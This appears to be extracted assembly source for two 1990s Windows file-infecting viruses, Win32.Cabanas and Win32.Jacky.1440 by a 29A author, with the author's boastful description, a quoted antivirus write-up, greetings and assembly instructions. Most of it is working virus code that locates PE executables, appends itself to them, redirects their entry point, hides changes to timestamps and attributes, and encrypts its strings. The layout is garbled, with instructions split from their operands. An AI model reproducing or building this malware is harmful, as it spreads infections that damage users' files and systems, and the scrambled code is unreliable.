;get the ebp_num value needed to access variablez thru EBP ebp (ebp_num - m_ebp) ebp,[ebp + ebp_num - m_ebp] [ebp + uni_or_ansi - ebp_num],al

another_ret: ret Process_File2:

call jnz cmp jnc div dec js call jnz inc

;this function checks the file size, retrieves some key API ; adressez from inside the import table and infects the file. ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ; ESI = pointer to filename get_size another_ret ;if file size too short, jump eax,4000000h - 10*1024 another_ret ;if file size too large (>64MB), jump ecx ;check infection thru size paddin edx another_ret ;already infected, jump check_PE_file ;open file, check PE signature and close file another_ret ;not valid PE file, jump byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file

jz Bless:

another_ret

;discard if infected

;this function prepares the host file for infection: blank file ; atributez, open and map file in r/w mode, retrieves RVA pointerz ; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call ; the "Attach" function to infect the file and finaly restore ; date/time stamp and attributez

push lea push call xchg jecxz push mov add call jecxz example, jump

esi esi,[ebp + PathName - ebp_num] ;get pointer to filename esi [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez ecx,eax another_ret ;if error, jump, if disk is write-protected for example esi edi,virtual_end - code_start ;calculate buffer size needed for infection edi,[ebx.WFD_nFileSizeLow] ;add to original size Open&MapFileAdj ;open and map file in read/write mode end_Bless2 ;if any error, if file is locked for

lea eax,[ebp + vszGetModuleHandleA - ebp_num] call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table test esi,esi jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect x =

IMAGE_SIZEOF_IMPORT_DESCRIPTOR

mov [ebp + ptrForwarderChain - ebp_num],edx ;store RVA pointer to ForwarderChain field from KERNEL32 import descriptor mov edx,[esi.ID_ForwarderChain - x] mov [ebp + ddGetModuleHandleA - ebp_num],eax ;store RVA pointer to GetModuleHandleA API mov [ebp + ddForwarderChain - ebp_num],edx ;store actual ForwarderChain field value from KERNEL32 import descriptor cdq ;edx=0 dec eax ;if RVA pointer to GetModuleHandleA found, jump and store null for GetModulehandleW RVA pointer (not needed) jns StoreHandleW lea eax,[ebp + vszGetModuleHandleW - ebp_num] call IGetProcAddressIT ;get RVA pointer to GetProcAddress API in the import table xchg eax,edx test edx,edx ;if found, jump and store GetModuleHandleW RVA pointer jnz StoreHandleW cmp [esi.ID_TimeDateStamp - x],edx ;shit, not found, now check if KERNEL32 API adressez are binded jz StoreHandleW cmp edx,[esi.ID_OriginalFirstThunk - x] jz end_Bless3 mov [esi.ID_TimeDateStamp - x],edx StoreHandleW: mov [ebp + ddGetModuleHandleW - ebp_num],edx GetModuleHandleW API lea eax,[ebp + vszGetProcAddress - ebp_num] call IGetProcAddressIT GetModuleHandleA API in the import table

;store RVA pointer to

;get RVA pointer to

mov [ebp + ddGetProcAddress - ebp_num],eax GetModuleHandleW API if found, store zero if not found anywayz call

Attach

;store RVA pointer to

;infect file ;at this point: ; ECX = host base adress, start of memory-maped file ; EDI = original file size

end_Bless3: call

Close&UnmapFileAdj

;close, unmap file and restore other setingz if

necesary end_Bless2: pop mov jecxz push push call

esi ;get pointer to filename ecx,[ebx.WFD_dwFileAttributes] ;get original file atributez end_Bless1 ecx esi [ebp + ddSetFileAttributesA - ebp_num] ;restore original file atributez

end_Bless1: end_Process_File2: ret GetProcAddressET proc ;This function is similar to GetProcAddressIT except ; that it looks for API functions in the export table ; of a given DLL module. It has the same functionality ; as the original GetProcAddress API exported from ; KERNEL32 except that it is able to find API ; functions exported by ordinal from KERNEL32. ;on entry: ; TOS+08h (Arg2): pszAPIname (pointer to API name) ; TOS+04h (Arg1): module handle/base address of module ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found

ifdef

endif

pushad @SEH_SetupFrame <jmp Proc_Address_not_found> mov eax,[esp.(2*Pshd).cPushad.Arg1] ;get Module Handle from Arg1 mov ebx,eax add eax,[eax.MZ_lfanew] ;get address of PE header mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory .OH_DirectoryEntries \ .DE_Export \ .DD_Size] jecxz Proc_Address_not_found ;size is zero, no API exported mov ebp,ebx ;get address of Export directory add ebp,[eax.NT_OptionalHeader \ .OH_DirectoryEntries \ .DE_Export \ .DD_VirtualAddress] Ordinal mov eax,[esp.(2*Pshd).cPushad.Arg2] ;get address of requested API from Arg2 test eax,-10000h ;check if Arg2 is an ordinal jz Its_API_ordinal

Its_API_name: push mov add mov xor cld

ecx edx,ebx edx,[ebp.ED_AddressOfNames] ecx,[ebp.ED_NumberOfNames] eax,eax

;get address of exported API namez ;get number of exported API namez

Search_for_API_name: mov add mov

esi,ebx ;get address of next exported API name esi,[edx+eax*4] edi,[esp.(3*Pshd).cPushad.Arg2] ;get address of requested API name from Arg2

Next_Char_in_API_name: cmpsb jz inc loop pop

;find requested API from all exported API namez Matched_char_in_API_name eax Search_for_API_name eax

Proc_Address_not_found: xor jmp ifdef

eax,eax End_GetProcAddressET

;API not found

Ordinal

Its_API_ordinal: sub

eax,[ebp.ED_BaseOrdinal]

jmp

Check_Index

;normalize Ordinal, i.e. convert it to an

index endif Matched_char_in_API_name: cmp jnz pop mov add movzx

byte ptr [esi-1],0 Next_Char_in_API_name ecx edx,ebx edx,[ebp.ED_AddressOfOrdinals] eax,word ptr [edx+eax*2]

;end of API name reached ?

;get address of exported API ordinalz ;get index into exported API functionz

Check_Index: cmp jae mov add add mov sub cmp jb

eax,[ebp.ED_NumberOfFunctions] ;check for out of range index Proc_Address_not_found edx,ebx ;get address of exported API functionz edx,[ebp.ED_AddressOfFunctions] ebx,[edx+eax*4] ;get address of requested API function eax,ebx ebx,ebp ;take care of forwarded API functionz ebx,ecx Proc_Address_not_found

End_GetProcAddressET: mov [esp.(2*Pshd).Pushad_ecx],eax @SEH_RemoveFrame popad

;set requested Proc Address, if found

jmp

Ret2Pshd

GetProcAddressET endp goto_GetProcAddressET: jmp

GetProcAddressET

MyGetProcAddressK32:

pop push push push

;this function is simply a wraper to the GetProcAddress ; API. It retrieves the address of an API function ; exported from KERNEL32. ;on entry: ; EBX = KERNEL32 module handle ; ESI = pszAPIname (pointer to API name) ;on exit: ; ECX = API function address ; ECX = 0, if not found

eax esi ebx eax

MyGetProcAddress proc

;this function retrieves API adressez from KERNEL32

mov ecx,? ;this dynamic variable will hold an RVA pointer to the GetProcAddress API in the IAT ddGetProcAddress = dword ptr $ - 4 jecxz goto_GetProcAddressET push esi push ebx add ecx,[ebp + phost_hdr - ebp_num] call [ecx] ;call the original GetProcAddress API xchg ecx,eax jecxz goto_GetProcAddressET ;if error, call my own GetProcAddress function Ret2Pshd: ret

(2*Pshd)

MyGetProcAddress endp MyGetModuleHandleW:

;this function retrieves the base address/module handle ; of KERNEL32 module previosly loaded to memory asumin ; the GetModuleHandleW API was found in the import ; table of the host

mov ecx,? the GetModuleHandleW API in the IAT ddGetModuleHandleW = dword ptr $ - 4 jmp MyGetModuleHandle MyGetModuleHandleA:

;this function retrieves the base address/module handle ; of KERNEL32 module previosly loaded to memory asumin ; the GetModuleHandleA API was found in the import ; table of the host

mov ecx,? the GetModuleHandleA API in the IAT ddGetModuleHandleA = dword ptr $ - 4 MyGetModuleHandle proc

;this dynamic variable will hold an RVA pointer to

;this dynamic variable will hold an RVA pointer to

;this function retrieves the base adress of KERNEL32 ;on entry:

; ECX = RVA pointer to GetModuleHandle(A/W) in the IAT ; TOS+04h (Arg1): pointer to KERNEL32 module name ; TOS+00h (return adress) ;on exit: ; Zero flag set = Base adress not found ; Zero flag clear = Base adress found ; EAX = KERNEL32 base adress sub pop pop push mov jecxz push call chk_0: inc jz dec

eax,eax ;set zero flag ebx ;get return adress eax ;Arg1 ebx ;push return adress ebx,[ebp + phost_hdr - ebp_num] ;get actual host base adress end_MyGetModuleHandle ;if not valid GetModuleHandle(A/W) RVA, jump eax [ebx + ecx] ;call GetModuleHandle(A/W) API eax end_MyGetModuleHandle ;if any error, not found, jump eax

end_MyGetModuleHandle: ret MyGetModuleHandleX:

;this function retrieves the KERNEL32 base adress ; via an undocumented method. This function procedure ; doesnt work in Winblowz NT

mov eax,[ebx + 12345678h] ptrForwarderChain = dword ptr $ - 4 cmp eax,12345678h ddForwarderChain = dword ptr $ - 4 jnz chk_0 ret MyGetModuleHandle endp get_ebp2:

get_ebp:

mov jnc dec

al,0 get_ebp eax

call

pop_ebp

;clear carry (unicode version) ;clear set (ansi version)

m_ebp: v_end:

;virus code ends here

;uninitialized data the file

;these variablez will be adressed in memory, but dont waste space in

ImportHdr pCodeTable variables may overlap.

dd dd

? ?

org

$ - 4

dd

?

at instalation stage, pHandlez one used when resident. phost_hdr pcode_start K32Mod ddGetProcAddress2 stored ;these 2

;import table RVA of current host ;pointer to encrypted chunkz of code

;these 2 ;one is used

;pointer to top of Handlez table

;the other

dd ? ;pointer to actual base adress of host dd ? ;pointer to start of virus code/data in memory dd ? ;KERNEL32 base adress dd ? ;adress where GetProcAddress API will be variables may overlap. org $ - 4

pPathNamez table pNewAPIs uni_or_ansi

;one is used at instalation stage, dd ? ;pointer to top of PathNamez ;the other one used when resident. dd ? ;pointer to new API entry in the jump table db ? ;needed to diferentiate unicode from ansi stringz

FunctionAdressez:

;this dwordz will hold the API function adressez used by the virus

ddCreateFileA ddCreateFileW ddFindClose ddFindFirstFileA ddFindFirstFileW ddFindNextFileA ddFindNextFileW ddSetFileAttributesA ddSetFileAttributesW ddCloseHandle

dd dd dd dd dd dd dd dd dd dd

? ? ? ? ? ? ? ? ? ?

ddCreateFileMappingA ddMapViewOfFile ddUnmapViewOfFile ddSetFilePointer ddSetEndOfFile ddSetFileTime ddGetWindowsDirectoryA ddGetSystemDirectoryA ddGetCurrentProcess ddGetModuleFileName ddWriteProcessMemory ddWideCharToMultiByte ddVirtualAlloc

dd dd dd dd dd dd dd dd dd dd dd dd dd

? ? ? ? ? ? ? ? ? ? ? ? ?

v_stringz:

;the API namez used by the virus are decrypted here

vszKernel32 vszGetModuleHandleA vszGetModuleHandleW

db db db

'KERNEL32',0 'GetModuleHandleA',0 'GetModuleHandleW',0

Exts

db db

'fxEtcR' 0

FunctionNamez2:

;resident API namez, needed for dynamically API hookin

vszGetProcAddress vszGetFileAttributesA vszGetFileAttributesW vszMoveFileExA vszMoveFileExW vsz_lopen vszCopyFileA vszCopyFileW vszOpenFile vszMoveFileA vszMoveFileW vszCreateProcessA vszCreateProcessW

db db db db db db db db db db db db db

'GetProcAddress',0 'GetFileAttributesA',0 'GetFileAttributesW',0 'MoveFileExA',0 'MoveFileExW',0 '_lopen',0 'CopyFileA',0 'CopyFileW',0 'OpenFile',0 'MoveFileA',0 'MoveFileW',0 'CreateProcessA',0 'CreateProcessW',0

db db db

'CreateFileA',0 'CreateFileW',0 'FindClose',0

FunctionNamez: vszCreateFileA vszCreateFileW vszFindClose

;list of extensionz to infect

vszFindFirstFileA vszFindFirstFileW vszFindNextFileA vszFindNextFileW vszSetFileAttributesA vszSetFileAttributesW

db db db db db db

'FindFirstFileA',0 'FindFirstFileW',0 'FindNextFileA',0 'FindNextFileW',0 'SetFileAttributesA',0 'SetFileAttributesW',0

non_res:

;non-resident API namez

vszCloseHandle vszCreateFileMappingA vszMapViewOfFile vszUnmapViewOfFile vszSetFilePointer vszSetEndOfFile vszSetFileTime vszGetWindowsDirectory vszGetSystemDirectory vszGetCurrentProcess vszGetModuleFileName vszWriteProcessMemory vszWideCharToMultiByte vszVirtualAlloc

db db db db db db db db db db db db db db

'CloseHandle',0 'CreateFileMappingA',0 'MapViewOfFile',0 'UnmapViewOfFile',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0 'GetWindowsDirectoryA',0 'GetSystemDirectoryA',0 'GetCurrentProcess',0 'GetModuleFileNameA',0 'WriteProcessMemory',0 'WideCharToMultiByte',0 'VirtualAlloc',0

EndOfFunctionNamez

db

0

szCopyright

db

"(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

org

(non_res + 1)

v_end2: NewAPItable

db nAPIS dup (?)

FindData WIN32_FIND_DATA ? FindFirst/Next APIz

;this structure will hold data retrieved trhu

PathName

db MAX_PATH dup (?)

;filenamez will be stored here for infection

virtual_end:

;end of virus virtual memory space (in PE filez)

Handlez

db nHANDLEZ dup (?)

;Handlez table

PathNamez

db nPATHNAMEZ dup (?)

;PathNamez table

virtual_end2:

;end of virus virtual memory space (in flat memory)

first_generation:

;this routine will be called only once from the first generation sample, ;it initializes some variables needed by the virus in the first run.

jumps push call test jz xchg call ref: pop mov sub sub sub mov

NULL GetModuleHandleA eax,eax exit ecx,eax ref ebx eax,ebx eax,ref - host eax,ecx eax,[add_1st_val] [ebx + code_table - ref],eax

mov ror xor mov

al,6Ah al,1 al,[xor_2nd_val] [ebx + code_table + 6 - ref],al

mov sub sub neg mov

eax,ebx eax,ref - code_table eax,ecx eax [ebx + delta_host - ref],eax

mov

[ebx + old_base - ref],ecx

mov .if mov .endif sub mov

eax,[ebx + pfnGMH - ref] word ptr [eax] == 25FFh eax,[eax + 2]

mov .if mov .endif sub mov

eax,[ebx + pfnGPA - ref] word ptr [eax] == 25FFh eax,[eax + 2]

cld mov lea mov

;encrypt API stringz ecx,ve_string_size esi,[ebx + ve_stringz - ref] edi,esi

eax,ecx [ebx + ddGetModuleHandleA - ref],eax

pfnGMH pfnGPA

al,80h al,0B5h al,cl

zero?

ecx ecx,10 encrypt_stringz

mov lea mov rep

ecx,v_end2 - v_stringz edi,[ebx + v_stringz - ref] al,-1 stosb

jmp

v_start

dd dd

offset GetModuleHandleA offset GetProcAddress

;Host code starts here extrn extrn

MessageBoxA: proc ExitProcess: proc

;set GetModuleHandleA RVA pointer

;jmp [xxxxxxxx]

eax,ecx [ebx + ddGetProcAddress - ref],eax

encrypt_stringz: lodsb cmp lahf xor ror stosb sahf .if movsb .endif dec cmp jnz

;jmp [xxxxxxxx]

;set GetProcAddress RVA pointer

host:

push @pushsz @pushsz push call

MB_OK ;display message box "(c) Win32.Cabanas v1.1 by jqwerty/29A" "First generation sample" NULL MessageBoxA

exit:

push call

0 ExitProcess

end

first_generation

;exit host

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Win32.Jacky.1440 by Jacky Qwerty/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus. Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is really a "genuine" Win32 virus, which means it should be able to infect any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known reasonz that i wont delve in detail here, previous Win95 virusez were unable to spread succesfully under NT. The main reasonz were becoz they asumed KERNEL32 bein loaded at a fixed base adress (not true for NT or even future Win95 updatez) and they also made a "guess" about where the Win32 API functionz were located inside the KERNEL32 itself. This virus does NOT rely on fixed memory positionz or absolute adressez in order to run and spread. It always works at the Win32 API level, not playin its trickz "under the hood". This proves enough for the virus to spread succesfully on NT, asumin the user has enough rightz, of course. Unfortunately, this virus didnt make it as the first Windoze NT virus for the media. AVerz said they didnt have an NT machine available for virus testin, so they simply didnt test it under NT. Well ehem, thats what they said #8S. In the past summer however i finished the codin of Win32.Cabanas which is a far superior virus with much more featurez than its predecesor. This time, the guyz from Datafellowz and AVP made serious testz with Cabanas under NT until they finally concluded: "Oh miracle! it is able to work under NT!". So acordin to the media, Win32.Cabanas is the first WinNT virus and not Win32.Jacky as it should have been. Anywayz..

Technical description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When Win32.Jacky executes, it first looks for KERNEL32 base adress usin the GetModuleHandleA API right from the host import table and then it retrieves all other file API function adressez by usin the GetProcAdress API also from the import table. These APIz are not inserted by the virus when infection, they are only used if they already existed there (very likely), but this is not a "must do" for the virus to work tho. After all Win32 API functionz needed by the virus have been located, it looks for PE (EXE) filez in the current directory and infects them one by one. When infection starts, each EXE file is opened and maped in shared memory usin the "file mapin" API functionz provided by KERNEL32. This proves to be a great advance regardin file functionz as it clearly simplifies to a large extent the infection process and file handlin in general. After the PE signature is detected from the maped file, the virus inspects its import table lookin for the GetModuleHandleA and GetProcAddress APIz inside the KERNEL32 import descriptor. If this module is not imported, the file is left alone and discarded. If the GetProcAddress API is not found, the virus (later on when it executes) will call its own internal GetProcAddressET function, which simply inspects the KERNEL32 export table lookin for any specified Win32 API function. If GetModuleHandleA is not found the file will still get infected but then the virus, in order to find the KERNEL32 base adress, will be relyin on a smoewhat undocumented feature (checked before use). This feature is very simple: whenever a PE file with unbound KERNEL32 function adressez is loaded, the Win95 loader puts the KERNEL32 adress in the ForwarderChain field of the KERNEL32 import descriptor. This also works in Win95 OSR2 version but doesnt work on WinNT tho, so it should be used with some care after makin some sanity checkz first.

; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will ; hardcode their IAT referencez inside the virus code, then later on when ; the virus executes, it will have these API referencez already waitin to be ; called by the installation code. After the latter API search is done, the ; virus copies itself to the last section in the file, modifies the section ; atributez to acomodate the virus code and finally changes the EntryPoint ; field in the PE header to point to the virus code. The virus doesnt change ; or modify the time/date stamp of infected filez nor it is stoped by the ; "read only" atribute. ; ; ; AVP description ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Before jumpin to the source code, lets read what AVP has to say about the ; virus. Unfortunately as u will see they didnt test the thing on NT, other; wise they would have had a big surprise with it hehe #8D ; ; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm * ; ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; It is a harmless nonmemory resident parasitic Win95/NT virus 1440 ; bytes of length. Being executed the virus scans Win95/NT kernel and ; gets undocumented addresses of system file access function (see the ; list below). Then it searches for NewEXE Portable Executable ; (Win95 and NT) files and writes itself to the end of the file. The ; virus aligns the file length to the section, so the file lengths ; grows more that 1440 bytes while infection. ; ; This is the first known Win95/NT parasitic virus that does not add ; new section to the file - while infecting a file the virus writes ; itself to the end of the file, increases the size of last section ; in the file, and modifies characteristics of this section. So, ; only entry point address, size and characteristics of last section ; are modified in infected files. ; ; This is also first known to me Win95/NT infector that did work on ; my test computer (Windows95) without any problem. I did not try it ; under NT. ; ; The virus contains the encrypted strings, a part of these strings ; are the names of system functions that are used during infection: ; ; KERNEL32 GetModuleHandleA GetProcAddress ; *.EXE ; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile ; MapViewOfFile FindFirstFileA FindNextFileA FindClose ; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime ; ; To My d34d fRi3nD c4b4n4s.. ; A Win/NT/95 ViRuS v1.00. ; By: j4cKy Qw3rTy / 29A. ; [email protected] ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; ; ; Greetingz ; ÄÄÄÄÄÄÄÄÄ ; And finaly the greetinz go to: ; ; Mr.Chan, Wai ......... Thx for your help and advice.. master! ; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;) ; QuantumG ............. What about yer NT resident driver idea? ; DarkSide1 ............ We are Southamerican rockerzzz!

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

GriYo/29A ............ Implant poly rulez!

Disclaimer ÄÄÄÄÄÄÄÄÄÄ This source code is for educational purposez only. The author is not responsible for any problemz caused due to the assembly of this file.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn w32jacky.asm tlink32 -Tpe -c -x -aa w32jacky,,, import32 pewrsec w32jacky.exe

(c) 1997 Jacky Qwerty/29A.

.386p .model

flat

;whoaa.. no more segmentz

;Some includez containin very useful structurez and constantz for Win32 include include include include

Useful.inc Win32API.inc MZ.inc PE.inc

;Some equ's needed by the virus work_size size_pad v_size extrn extrn

equ 4000h ;size to grow up memory maped file equ 101 ;size paddin to mark infected filez equ v_end - v_start ;virus absolute size in filez

GetModuleHandleA :proc GetProcAddress :proc

;APIs used durin first generation only

.data db

?

;some dummy data so tlink32 dont yell

.code ;Virus code starts here v_start: push pushad call

eax get_deltaz

;make space to store return adress ;save all ;here we go

;API namez needed by the virus. They will travel in encrypted form ve_stringz: veszKernel32 veszGetModuleHandleA veszGetProcAddress

db db db

'KERNEL32',0 'GetModuleHandleA',0 'GetProcAddress',0

eEXE_filez

db

'*.EXE',0

veszCreateFileA veszCreateFileMappingA

db db

'CreateFileA',0 'CreateFileMappingA',0

;filez to search

veszCloseHandle veszUnmapViewOfFile veszMapViewOfFile veszFindFirstFileA veszFindNextFileA veszFindClose veszSetFileAttributesA veszSetFilePointer veszSetEndOfFile veszSetFileTime

db db db db db db db db db db

'CloseHandle',0 'UnmapViewOfFile',0 'MapViewOfFile',0 'FindFirstFileA',0 'FindNextFileA',0 'FindClose',0 'SetFileAttributesA',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0

eEndOfFunctionNames

db

0

;An epitaph to a good friend of mine (not a "junkie" Pete) db db db db

'To My d34d fRi3nD c4b4n4s..',CRLF 'A Win/NT/95 ViRuS v1.00. ',CRLF 'By: j4cKy Qw3rTy / 29A. ',CRLF '[email protected]',0

ve_string_size crypt:

lodsb rol not stosb loop ret

= $ - ve_stringz ;decrypt API stringz al,cl al crypt

get_deltaz: mov pop cld lea lea mov stosd add delta_host stosd lea sub phost_start_rva push xchg mov

ecx,ve_string_size esi

;get pointer to ve_stringz

ebp,[esi + v_end - ve_stringz] ;get pointer to virus end eax,[esi + v_start - ve_stringz] edi,ebp ;save pointer to virus start eax,- 12345678h = dword ptr $ - 4 ;save current host base adress edi,[ebp + v_stringz - v_end] ;get pointer to API namez eax,- 12345678h = dword ptr $ - 4 edi ;push pointer to "KERNEL32" string ebx,eax [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return

decrypt_stringz: call call jecxz mov lea lea GetAPIAddress: push call jmp_host_2:

crypt ;decrypt encrypted API and stringz MyGetModuleHandleA ;get KERNEL32 base adress jmp_host_2 [ebp + K32Mod - v_end],ecx ;save it esi,[ebp + FunctionNamez - v_end] edi,[ebp + FunctionAddressez - v_end] ;get adressez of API functionz used by the virus esi MyGetProcAddressK32

;get API adress

jecxz cld xchg stosd lodsb test jnz cmp jnz

jmp_host

lea push lea push call inc jz dec push

ebx,[ebp + FindData - v_end] ;Find filez matchin *.EXE ebx eax,[ebp + EXE_filez - v_end] eax [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API eax jmp_host eax eax ;save search handle

Process_File: lea call jecxz xor cmp jnz add js add jnc call jnz test jnz xor mov mov cdq div mov

eax,ecx ;save retrieved API adress ;point to next API name al,al $ - 3 al,[esi] GetAPIAddress

;end of API namez reached? ;no, get next API adress

;check file and infect it edx,[ebx.WFD_szFileName] Open&MapFile Find_Next eax,eax [ebx.WFD_nFileSizeHigh],eax Close_File eax,[ebx.WFD_nFileSizeLow] Close_File eax,-80h Close_File Check_PE_sign Close_File ah,IMAGE_FILE_DLL shr 8 Close_File ecx,ecx eax,[ebx.WFD_nFileSizeLow] cl,size_pad

;open and map file

;skip filez too large (>1GB)

;skip filez too short ;it has to be a PE file ;can't have DLL bit

;check if file is infected

ecx esi,edx ;esi == 0, file already infected or not infectable ;esi != 0, file not infected, i.e. infect it!

Close_File: call mov jecxz call

Close&UnmapFile ecx,esi Find_Next Infect

;close and unmap file ;jump and find next file ;infect file

Find_Next: pop push call test jnz

eax ;find next file eax ebx eax [ebp + ddFindNextFileA - v_end] eax,eax Process_File

Find_Close: call

[ebp + ddFindClose - v_end]

;no more filez, close search

jmp_host: popad ret Infect

;jump to host

proc

;blank file attributez, open and map file in r/w mode, ;infect it, restore date/time stamp and attributez

lea push call xchg pop jecxz mov add call jecxz lea lea push lea push call mov push xor call mov test jnz test jz

edx,[ebx.WFD_szFileName] ;get filename edx 0 edx [ebp + ddSetFileAttributesA - v_end] ;blank file attributez ecx,eax edx end_Infect1 edi,work_size edi,[ebx.WFD_nFileSizeLow] Open&MapFileAdj ;open and map file in read/write mode end_Infect2 esi,[ebp + vszKernel32 - v_end] eax,[ebp + vszGetModuleHandleA - v_end] eax esi eax,[ebp + vszGetProcAddress - v_end] eax esi ecx GetProcAddressIT ;get ptr to GetProcAddress API [ebp + ddGetProcAddress - v_end],eax ecx esi,esi GetProcAddressIT ;get ptr to GetModuleHandleA API [ebp + ddGetModuleHandleA - v_end],eax eax,eax GetModHandle_found ;if GetModuleHandleA found, esi,esi ;jump and attach virus end_Infect3 ;KERNEL32 import descriptor not found, ;then dont infect

x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR ;GetModuleHandleA not found cmp jz cmp jz mov

[esi.ID_TimeDateStamp - x],eax ;check if we can rely on got_easy ;the ForwarderChain trick eax,[esi.ID_OriginalFirstThunk - x] end_Infect3 [esi.ID_TimeDateStamp - x],eax

got_easy: mov mov mov

eax,[esi.ID_ForwarderChain - x] ;hardcode pointerz to [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain [ebp + ddForwarderChain - v_end],eax ;field

GetModHandle_found: mov call end_Infect3: call

esi,[ebp + pv_start - v_end] Attach

;attach virus to host

Close&UnmapFileAdj

;close and unmap file

ecx,[ebx.WFD_dwFileAttributes] end_Infect1

;restore original atribute

end_Infect2: mov jecxz

lea push call

edx,[ebx.WFD_szFileName] ecx edx [ebp + ddSetFileAttributesA - v_end]

end_Infect1: ret Infect

endp

Check_PE_sign

cmp jnz cmp jb mov cmp jb add cmp jnz cmp jnz mov not test

proc

;checks validity of a PE file ; on entry: EDX = host file size ; ECX = base address of memory-maped file ; EBX = pointer to WIN32_FIND_DATA structure ; EAX = host file size - 80h ; on exit: Zero flag = 1, infectable PE file ; Zero flag = 0, not infectable file

word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature end_check_PE_sign word ptr [ecx.MZ_lfarlc],40h ;needs Win signature end_check_PE_sign ;(well not necesarily) edi,[ecx.MZ_lfanew] ;get ptr to new exe format eax,edi ;ptr out of range? end_check_PE_sign edi,ecx dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature end_check_PE_sign word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ IMAGE_FILE_MACHINE_I386 end_check_PE_sign eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] al al,IMAGE_FILE_EXECUTABLE_IMAGE ;must have the executable bit

end_check_PE_sign: ret Check_PE_sign

endp

Open&MapFile

proc

;open and map file in read only mode ; on entry: ; EDX = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok

xor

edi,edi

Open&MapFileAdj:

;open and map file in read/write mode ; on entry: ; EDI = file size + work space (in bytes) ; EDX = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok ; EDI = old file size xor push mov ror

eax,eax eax eax OPEN_EXISTING eax eax al,1 eax,1

OMF_RdOnly:

mov jecxz rcr push call cdq inc jz dec push

ecx,edi $+4 eax,1 eax edx [ebp + ddCreateFileA - v_end]

xor push mov mov jecxz shl push call cdq xchg jecxz push

esi,esi edx edi edx dl,PAGE_READONLY ecx,edi $+4 dl,1 edx esi eax [ebp + ddCreateFileMappingA - v_end]

push mov test jz shr mov push call xchg jecxz push

edi edx edx dl,FILE_MAP_READ edi,edi OMF_RdOnly dl,1 edi,[ebx.WFD_nFileSizeLow] edx ecx [ebp + ddMapViewOfFile - v_end] ;map view of file ecx,eax end_Open&MapFile3 ecx ;push base address of ;memory-mapped file [esp.(3*Pshd).RetAddr] ;jump to return adress leavin ;parameterz in the stack

jmp Open&MapFile

eax end_Open&MapFile eax eax

ecx,eax end_Open&MapFile2 ecx

;open file

;push first handle

;create file ;mapping

;push second handle

endp

Close&UnmapFile proc xor Close&UnmapFileAdj: pop mov call

;close and unmap file previosly opened in r/o mode edi,edi ;close and unmap file previosly opened in r/w mode eax ;return adress [esp.(3*Pshd).RetAddr],eax [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file

end_Open&MapFile3: call mov jecxz pop push xor push xchg call call

[ebp + ddCloseHandle - v_end] ;close handle ecx,edi end_Open&MapFile2 ;if read only mode jump eax eax eax esi,esi esi esi edi eax edi,eax [ebp + ddSetFilePointer - v_end] ;move file pointer to ;the real end of file [ebp + ddSetEndOfFile - v_end] ;truncate file at

lea push call

eax,[ebx.WFD_ftLastWriteTime] eax esi esi edi [ebp + ddSetFileTime - v_end]

;real end of file

[ebp + ddCloseHandle - v_end]

;close handle

;restore original ;date/time stamp

end_Open&MapFile2: call end_Open&MapFile: xor ret

ecx,ecx

Close&UnmapFile endp Attach

proc

;attach virus code to last section in the PE file and ; change section characteristicz to reflect infection ;on entry: ; ECX = base of memory-maped file ; ESI = pointer to start of virus code ;on exit: ; EDI = new file size

pushad push mov add movzx

